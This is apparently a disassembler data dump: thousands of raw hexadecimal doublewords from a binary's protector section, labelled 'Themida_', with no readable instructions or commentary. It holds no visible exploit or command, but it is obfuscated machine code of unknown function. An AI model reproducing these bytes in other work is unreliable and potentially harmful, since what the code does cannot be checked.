dd 2D958900h, 8B060730h, 70875BDh, 0F185C706h, 1060ACBh
dd 89000000h, 722098Dh, 15E906h, 9D090000h, 6072625h, 0CBF185C7h
dd 60Ah, 51BF0000h, 8D7A81E5h, 709D99Dh, 2FD78106h, 810D1DCFh
dd 0FFFEFF23h, 858956FFh, 6072181h, 0DB8C665Eh, 4F7BE66h
dd 2A98589h, 0C3F60607h, 56840F04h, 52000000h, 5FFEBF0Fh
dd 29ED95FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0AE7CB4C3h, 21063BA3h, 0B58960F4h
dd 6072D1Dh, 61858B53h, 58060706h, 0C7816661h, 50900F8Ch
dd 0E735BF66h, 68C0F90h, 89000000h, 718658Dh, 32BE906h
dd 0BD890000h, 6072BD9h, 0F5700B0h, 681h, 6DB50100h, 5E06072Dh
dd 10E8h, 671DA200h, 7695F91h, 0B32DA003h, 22BE632Ah, 0BD8952F3h
dd 6071911h, 70E65E5Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 3CC35242h, 6618D640h, 71E4F38Bh, 6AD8B60Fh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 0B8DCC353h, 9D897D27h, 607139Dh, 6BAh, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 76E12F17h, 8BC5DC34h, 51006AC3h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 3B2DF8C1h, 922E4A38h
dd 359D2958h, 0C106072Ah, 0F76604E8h, 0D82BFCE2h, 890Fh
dd 0BF500000h, 393F1ACAh, 56241C89h, 0D5B5FF5Eh, 9060720h
dd 72A21BDh, 6995FF06h, 6A06070Dh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 9A35C356h
dd 0B0215CBAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 0F486C660h, 7E62E16h
dd 880F70E6h, 5, 185A58BFh, 6A71E477h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 551EC350h
dd 69AC1311h, 6690E586h, 1076E781h, 830F613Ch, 1A5h, 0FF1BF0Fh
dd 0BD8BD8B6h, 6072991h, 6BAh, 2DBD8B00h, 8B060730h, 49B58BC3h
dd 0C1060706h, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 3F64EDC3h, 0C177C35Eh, 29677739h
dd 7069D9Dh, 93E9BF06h, 0F76611A1h, 57006AE2h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 7BD7EAF9h
dd 8B3644E2h, 706F5BDh, 0FB8B5206h, 29D82B5Fh, 72A0185h
dd 0BF665806h, 0D82B6860h, 10F880Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0B04D10C3h
dd 0CEBA1C6Dh, 0CE9BDh, 19BF0000h, 6591CD40h, 2E28B5B0h
dd 7B91AC0h, 83000000h, 0BF0F00C1h, 0FD93BF2h, 0C886h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 787F3FCBh, 8FBB1B19h, 8B66556Eh, 0D98C66FBh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0AFC35646h
dd 7384BCC2h, 8D9589FAh, 57060718h, 4AC4C6BFh, 0C1F65F1Bh
dd 64840F04h, 0F000000h, 95FFF3B7h, 60729EDh, 6A5BF18Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 75AAC350h, 91BD8B31h, 2B060713h, 53006AC3h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 8343D69h, 860F0000h, 0Bh, 4B0FF681h, 2E96124h, 8B000000h
dd 8BC38BC0h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 85C7E260h, 6072061h, 7C7C01F5h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9CC35747h, 0BC9634E0h
dd 9D67C918h, 5FDFBF66h, 0DC5B589h, 0C08B0607h, 20D5BD81h
dd 7D00607h, 850F0000h, 9, 0FFFAB70Fh, 720D585h, 0D5B5FF06h
dd 31060720h, 71A419Dh, 6995FF06h, 3106070Dh, 719EDB5h
dd 6A409006h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 4F17C356h, 33B34475h, 71299BDh
dd 29BD8306h, 60707h, 107840Fh, 12E80000h, 0E8000000h
dd 4F9F98A0h, 9EAED16Dh, 0E361D49Bh, 40181D6Dh, 5FDF8192h
dd 5E11AE59h, 0A85BD83h, 0F000607h, 0DC84h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 3429E2BEh, 1CB1A629h, 0C21B58Bh, 8D010607h, 6070031h
dd 72995FFh, 0B5890607h, 6071FEDh, 840FC00Bh, 99h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CFC35343h, 9B8D8DD3h
dd 6A06074Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0D5C5C356h, 975B86E7h, 5B8h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 6AE1FFCAh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 2AEAC355h, 0A26063B4h, 6810F04h
dd 81000000h, 4B8FECFh, 7BBE660Ah, 0C1BD83CEh, 60700h
dd 6A0840Fh, 13E90000h, 0D8000000h, 5269395h, 79D6BEAh
dd 5EF98C37h, 2F0EE2D5h, 0BD8341DEh, 6070A85h, 7B840F00h
dd 81000006h, 0C28872C6h, 798D8D73h, 0BF060703h, 8C7D9DBh
dd 22E1B58Bh, 1C70607h, 44B27C84h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 0A7C35343h, 1811D96h, 1499CFCBh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E0C35040h
dd 870FF2E4h, 0
dd 0BE8h, 8A81CE00h, 0D4831CE4h, 0D81DBC9h, 441C75Eh, 0CE706B34h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 64C35040h
dd 143679F7h, 1B6608E9h, 68F0F2Eh, 89000000h, 711318Dh
dd 4418106h, 31D6D710h, 6AF28Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 8FC35141h, 0F18B666Ch, 379858Dh
dd 0BD8B0607h, 6073129h, 1BBE6650h, 2404894Ch, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 5EC35141h, 0F21D0FD7h
dd 45BD2340h, 0FF06070Eh, 700C195h, 1B8C0F06h, 0E8000000h
dd 12h, 202785BAh, 95F1B61Fh, 0FBE19AC2h, 0E560F4Ah, 0B70F361Bh
dd 8D8D5EF0h, 6070379h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 0D2C35545h, 8BA6979Eh, 6DBD2BF0h, 0C706070Eh
dd 1, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 0DA15E043h, 79BD8BB1h, 0BE06072Ah
dd 5566F2CFh, 441C7h, 8B000000h, 7295DBDh, 0FC00B06h, 4284h
dd 0D5BD8900h, 8D060732h, 74B9B8Dh, 55B58B06h, 0B806072Eh
dd 5, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h
dd 14C35141h, 1CF8186h, 0FF5310E2h, 71BD2BE1h, 8D06070Ch
dd 703798Dh, 71BD3306h, 0C7060721h, 0AA727C01h, 9BF6644h
dd 0CB0181A3h, 6A1499CFh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 81A0C356h, 0AC7FD364h
dd 850FBA35h, 8, 0F2816660h, 61F5D1D3h, 3C0441C7h, 81CE7875h
dd 0D7100441h, 6A31D6h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0FB2023C3h, 6A006ABBh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 0E8BC355h, 56996B76h, 379858Dh, 6A0607h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 423D4BC3h
dd 0B58B9A64h, 6070AFDh, 6A905090h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 1AE5C356h
dd 933DA21Bh, 0AE80Eh, 41DA0000h, 0A0D377F5h, 7E39C65Dh
dd 0DDBD2960h, 0F060704h, 8Ah, 0FF5E6100h, 700C195h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 8DB65E68h, 703798Dh, 68A0F06h, 81000000h, 9CE878DFh
dd 6880F08h, 89000000h, 7264595h, 1C706h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 0B704C350h, 51A477B0h, 3EB0DF81h, 0C75E4F1Fh, 441h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 0C3AB99C3h, 0C00BEEB2h, 7A840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 0D9EC8C3h, 175899C5h, 8D445563h, 74B9B8Dh, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 88FE7059h, 5664FE34h, 5B8F5C5h, 31000000h, 728C99Dh
dd 6AE1FF06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 6250C352h, 3798D8Dh, 6A0607h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 985A8BC3h, 41560839h, 0C7F78BD9h, 0CA95A501h, 53006A54h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 438E7049h, 0F38B66F6h, 0CFCB0181h, 85891499h, 6072C55h
dd 690441C7h, 6ACE5F59h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 0C4FC357h, 0FA18127h
dd 85h, 4418100h, 31D6D710h, 6870Fh, 0B58B0000h, 6070FDDh
dd 0BE66006Ah, 858DFBB8h, 6070379h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 0BDC35545h, 60767591h, 12A58D89h
dd 0F500607h, 880h, 8A0F5700h, 0
dd 2404895Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 0B1C35242h, 0BDF06C85h, 0A9CE81FBh, 0FF1D7BBDh
dd 700C195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 362AFC8Fh, 65BA1DC7h, 6E9h, 3A192900h
dd 8DE94D6Bh, 703798Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 8D01599Bh, 6070189h, 1C7h
dd 0EE80000h, 0C3000000h, 54AC3008h, 6DFC88B6h, 0F81CDB0h
dd 9E827h, 0E16C0000h, 91B71BD5h, 0FD77DCFh, 88h, 0C75E5E00h
dd 441h, 0CE90000h, 6C000000h, 144535Ah, 0A7F5F116h, 532EC9C1h
dd 855BD8Bh, 0B5F0607h, 0A7840FC0h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 8383C351h, 8BF88B66h, 9B8D8DF2h, 6A06074Bh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 827DC356h, 8BBAE18Bh, 72C39BDh, 5B806h, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 225C4DC3h, 24DA6659h, 6860Fh, 8A0F0000h, 0
dd 6AE1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 0EFED6AC3h, 2C69BD8Bh, 0CA030607h, 0FFF2BEE9h
dd 178D0FFFh, 0F000000h, 0C80h, 0E95F5700h, 5, 6A8BDD6Ch
dd 1E40BF62h, 9D890D3Ah, 6071E21h, 0B7C78166h, 0E9C18B60h
dd 0Eh, 45F1068Bh, 0AF2D24C3h, 4EFE3E74h, 4EB32CAh, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0EDC35747h
dd 3A869433h, 2101B58Bh, 95BE0607h, 8D3953F6h, 718B185h
dd 0EDB58B06h, 90060722h, 8B665250h, 51310FF0h, 0CE9h
dd 46D35D00h, 7C801190h, 8BD577Ah, 585A5EFAh, 0B748BE50h
dd 6A900763h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 0BE13C357h, 53E0921Fh, 0BFBEDE81h
dd 6A609Ah, 6880Fh, 0B5010000h, 607191Dh, 0F60006Ah, 687h
dd 29958B00h, 6606070Fh, 1B40C881h, 0EE858D61h, 6A060ADCh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 0A9A4C351h, 37EEC307h, 5C0839Dh, 0E950F38Bh
dd 10h, 3B05B1A1h, 0B4833C90h, 83480B5Ah, 28469B20h, 6A240489h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 1CFC357h, 4EDB006Fh, 3279BB1Dh, 1D8E0Fh
dd 11E80000h, 0E9000000h, 66794730h, 9DF7E8FAh, 43E2C83Bh
dd 2FB799EAh, 2239B58Bh, 6A5E0607h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0AE309A0Bh
dd 6AF5CFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 9BC35343h, 60F5605Bh, 0B531D3B1h, 6070A25h, 95FF6161h
dd 6071E3Dh, 23819D89h, 9D8D0607h, 60A93D5h, 0F0B70F51h
dd 6E85Eh
db 2 dup(0)
word_57A45E dw 6851h ; DATA XREF: Themida_:0053DCC0o
dd 0A41A8445h, 2BE1B589h, 0FF5E0607h, 50006AD3h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0FDAD48E5h, 1B6C30Fh, 72A3595h, 6830F06h, 1000000h
dd 701AD9Dh, 5985FF06h, 2906072Fh, 70AB19Dh, 0A12E906h
dd 0E80000h, 5D000000h, 0DCF8ED81h, 0BD31060Ah, 6071285h
dd 20D5BD81h, 7D00607h, 860F0000h, 171h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4AC35545h, 0A5D1D2E0h
dd 5B8A8E19h, 2840Fh, 0F28B0000h, 0C419D8Bh, 8B660607h
dd 0E381F3h, 6A000001h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 0E9AFC350h, 0Eh, 44C0B86Fh
dd 0A2BEE31Ch, 2CA78A82h, 0DB0BC332h, 6C850Fh, 0BF0F0000h
dd 0DE8166F0h, 0BD830B1Fh, 60ADAFDh, 26840F00h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 636DC351h, 530A6F2Bh, 63E9h, 0FD85C700h
dd 1060ADAh, 0E9000000h, 54h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 20C35040h, 49C398F4h, 85C7391Fh
dd 60ADAFDh, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E9C35545h
dd 0F51D38B4h, 0B58B7C5Bh, 60702F9h, 0C419D8Dh, 6A0607h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 3114E8C3h, 70D4185h, 2D850106h, 8106071Bh, 0FFFEFF23h
dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 0B7F26A3Bh, 8F0F4B5Eh, 5, 0CDCE8166h, 0DB8C6617h
dd 4C3F6F9h, 5A840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 0BE2CE8C3h, 3C26CDECh
dd 29ED95FFh, 9D890607h, 6072C89h, 5954BE50h, 4896006h
dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 0B58B4735h, 6072D79h, 429E9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 6E97B43h, 92000000h, 86AF4F71h, 8900B053h, 70A2D95h
dd 5E906h, 0FA7C0000h, 0E6068206h, 0D6816670h, 71E433F7h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 82C35242h
dd 0E1C8505Fh, 0FB1DB59h, 0B60FF0B7h, 52006AD8h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 2E2EAEA1h, 0C085DDAEh, 6BA4Bh, 0E9570000h, 9, 0BF8BF90h
dd 0F5F955B6h, 0C38B5E1Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 77C35646h, 0E6A43D4Dh, 8BA5DBADh, 711A5B5h
dd 4E8C106h, 0F766F18Bh, 52006AE2h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 165A4139h, 839E25BEh
dd 6AD82B6Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0CB81C351h, 1D8558C7h, 0BE509C60h
dd 426AF6BBh, 9241C89h, 7294D8Dh, 0CDB58B06h, 0FF06070Fh
dd 720D5B5h, 27A6BE06h, 95FF49EAh, 6070D69h, 21E1E681h
dd 0B060B7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 0B9C35545h, 933055A7h, 0F774F613h, 40135CBEh, 8170E629h
dd 824C5AF6h, 0F71E436h, 68Eh, 599D8900h, 3C06071Ah, 93830F61h
dd 6A000002h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 0D1F7C352h, 3C288310h, 0F8B917Bh
dd 68Fh, 9DBD8900h, 0F060703h, 6AD8B6h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A940D5C3h
dd 6BA5E4Bh, 8B000000h, 710F9B5h, 23C38B06h, 72155B5h
dd 4E8C106h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 46C35646h, 7DB9779h, 0B58BF715h, 6072A81h, 6AE2F766h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 2B09C353h, 8D0FD8h, 58000000h, 19058501h
dd 0CE80607h, 0DA000000h, 0C8F4509Bh, 4DA818F5h, 0BE13CEB8h
dd 48E26261h, 0FD82B5Eh, 1B588h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0B9F875FEh
dd 7, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
dd 2FC35040h, 83F38B07h, 6A00C1h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 570C5FC3h, 849AF7EFh
dd 0D93B88C1h, 144860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 3A2AF8C3h, 8C66391Eh
dd 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 9D882DDFh, 0C1F6CC56h, 0DD840F04h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 0FB93C351h, 49D10E6Ch, 0AE94Dh, 0CC6A0000h
dd 396BD6A5h, 25243BE9h, 29ED95FFh, 8F0F0607h, 0Ch, 68A0Fh
dd 0BD290000h, 6071B29h, 6E9h, 80041D00h, 5B468BA9h, 6AC32Bh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 6B1089C3h, 3C63B023h, 3DA8AC64h, 834h, 56860Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 0EE3C0DC3h, 89BAA0FAh, 71F75B5h, 44E906h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 0FD2BD9C3h, 660C60ADh, 0F04F117h, 5E51F2BFh, 0E960C08Bh
dd 5, 0A182437Ah, 5CE812Ah, 617B1CFCh, 810Fh, 0C38B0000h
dd 6AD88Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 4F0DD8C3h, 0C77996EBh, 85C7F7A6h, 60709D9h
dd 5BE6E7DFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 7DC35545h, 0C94D4B96h, 4D2EDF82h, 0ADEE8166h, 0EE99Eh
dd 0C83D0000h, 55FC1024h, 71E9BF07h, 85B6BBF4h, 2CD8589h
dd 0C08B0607h, 20D5BD81h, 7D00607h, 850F0000h, 27h, 20D585FFh
dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 66AB96C3h, 0FFCFCC34h, 720D5B5h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 0B82846Dh, 7184DB5h, 89B58B06h, 0FF06072Dh, 70D6995h
dd 71B58B06h, 9006070Eh, 6AD88Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 81EFD1C3h, 2FFFF5D9h
dd 1F05B58Bh, 0BD830607h, 6073335h, 3C840F00h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 8B2C353h, 0F78B4D09h, 279E9h, 11E900h, 8FA90000h
dd 77520CECh, 0C32CC656h, 93325CBDh, 8CDD0B15h, 66F28BDFh
dd 4C7F7h, 254850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 60578CC3h, 82D78166h
dd 99CB80CEh, 2BF38B61h, 869D8DFFh, 6A060AE6h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 3AB8C351h, 0C1736184h, 40D5C41Dh, 0BE665E51h, 0F9356DBh
dd 8Ah, 8E0F5000h, 17h, 0FE8h, 0A3CA3900h, 6863837h, 492C3486h
dd 9980A12h, 935E5E50h, 6880Fh, 9D290000h, 6072C55h, 35FF64h
dd 8B000000h, 714FDB5h, 45B58B06h, 64060708h, 2589h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 263377C3h, 1C48B25h, 7305595h, 0EB01CD06h, 0AE900h
dd 67810000h, 96ECB945h, 3BD8D4C4h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 62C35646h, 8B7F1189h, 722E1B5h
dd 68A0F06h, 8B000000h, 71DB5B5h, 58F6406h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 9FC35242h
dd 0F3478A22h, 6860FBDh, 89000000h, 703618Dh, 4C48306h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 8CC35343h
dd 0AC3D8538h, 0C00BA273h, 0E0840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 0EB4C7C3h
dd 0B59D2989h, 8D060713h, 74B9BBDh, 9E906h, 0C4A10000h
dd 45A3A059h, 0B89650EDh, 5, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 0E7C35343h, 0E2399209h, 0F53BC80Ah
dd 0FFF78B66h, 51006AE7h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 29C1558Eh, 70E4585h, 5C8B5706h
dd 838B1024h, 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h
dd 5F020000h, 8BC3C033h, 52006AF3h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 3E0423DFh, 0E75DB30Eh
dd 830F929Eh, 6, 2BE1B589h, 0CA2B0607h, 0FFF611E9h, 50006AFFh
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 8509933Fh, 6070FA5h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 12566BC3h, 75C5B161h
dd 0FA8B6642h, 4EBh, 0B5890000h, 6071501h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F8C35747h, 0FAF0B3D3h
dd 0FD68152h, 8D468EE0h, 718B185h, 0FE906h, 65030000h
dd 40884A9Ah, 0E7641522h, 8F4A7B3Fh, 870F9087h, 8, 2840Fh
dd 61600000h, 0BF666050h, 0BABE8FFFh, 6164B6D7h, 8E990h
dd 0BEFC0000h, 0AC023205h, 6A684Eh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 0B4C35646h, 6A006Ah, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 858DC4C3h, 60AE8C5h, 7DEBF6BEh, 0B98D293Ch, 83060712h
dd 526005C0h, 21C5B529h, 8B5E0607h, 71E6DB5h, 57906106h
dd 11E9h, 0E39C4300h, 0D6E8533Eh, 7771AA30h, 4C873EAFh
dd 505F7C06h, 0DE8h, 0A1225400h, 0B10F3BCAh, 0C1412E8Bh
dd 0FB8B4623h, 810F905Fh, 6, 719B52Bh, 6A0607h, 71958960h
dd 0F060723h, 6A61D1BFh, 3D95FF00h, 6A06071Eh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 9ADC350h, 706D58Dh, 0D59D8D06h, 3060A93h, 70B85BDh
dd 0E9D3FF06h, 6, 3617418h, 0B58BF89Ah, 6071DF1h, 2F5985FFh
dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 0A97C25C3h, 8A02186Fh, 8D897F27h, 6070CB1h
dd 807E9h, 0E800h, 815D0000h, 0AE8CFEDh, 52006A06h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0DC0ABEFBh, 58443C43h, 2009BD8Bh, 0BD810607h, 60720D5h
dd 7D0h, 113860Fh, 0BE90000h, 0EB000000h, 0EF24752Fh, 0C92E63DAh
dd 9D8B422Dh, 6071EE5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 8CC35242h, 0E28FFF95h, 0E38190h, 0B000001h
dd 7F850FDBh, 8B000000h, 71F01B5h, 2FBD8306h, 60AE7h, 32840Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 626B81C3h, 87E1EE05h, 0A9B58BB9h, 0E9060700h
dd 70h, 48B8BF66h, 0E72F85C7h, 1060Ah, 0E1BE0000h, 0E96479B8h
dd 58h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h
dd 0A6C35040h, 0B2FBA950h, 1905B589h, 85C70607h, 60AE72Fh
dd 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 70C35141h
dd 0A6CB3AF9h, 0B58BF5B3h, 6071DB1h, 1EE59D8Dh, 0BDBF0607h
dd 81027BEBh, 0FFFEFF23h, 0B0EE81FFh, 291E751Eh, 700D5BDh
dd 0DB8C6606h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0DCC35040h, 4C3F67Ah, 58840Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0D423AFC3h, 29ED95FFh, 6A0607h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 2C7F53C3h, 0EC1B4CEAh
dd 0E78166F8h, 50905172h, 90FB8B66h, 477CD681h, 3CE9249Ah
dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 8B71C357h, 72A8DB5h, 0E600B006h
dd 9E970h, 9E530000h, 1FA8FA26h, 0E4E1194Eh, 9B58B71h
dd 0F060719h, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 76B120C3h, 0E6816644h, 0B58B1782h
dd 60710D1h, 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 0D915A9D2h, 65BD0BA1h
dd 8B060721h, 79B503C3h, 5106072Ah, 0D1BD8960h, 6606071Fh
dd 5C3FEA81h, 0E8C15E61h, 56006A04h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0B6F7DBE7h
dd 89C3AB99h, 71E299Dh, 0E2F76606h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 0DCC35646h, 2B455CFEh, 53006AD8h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
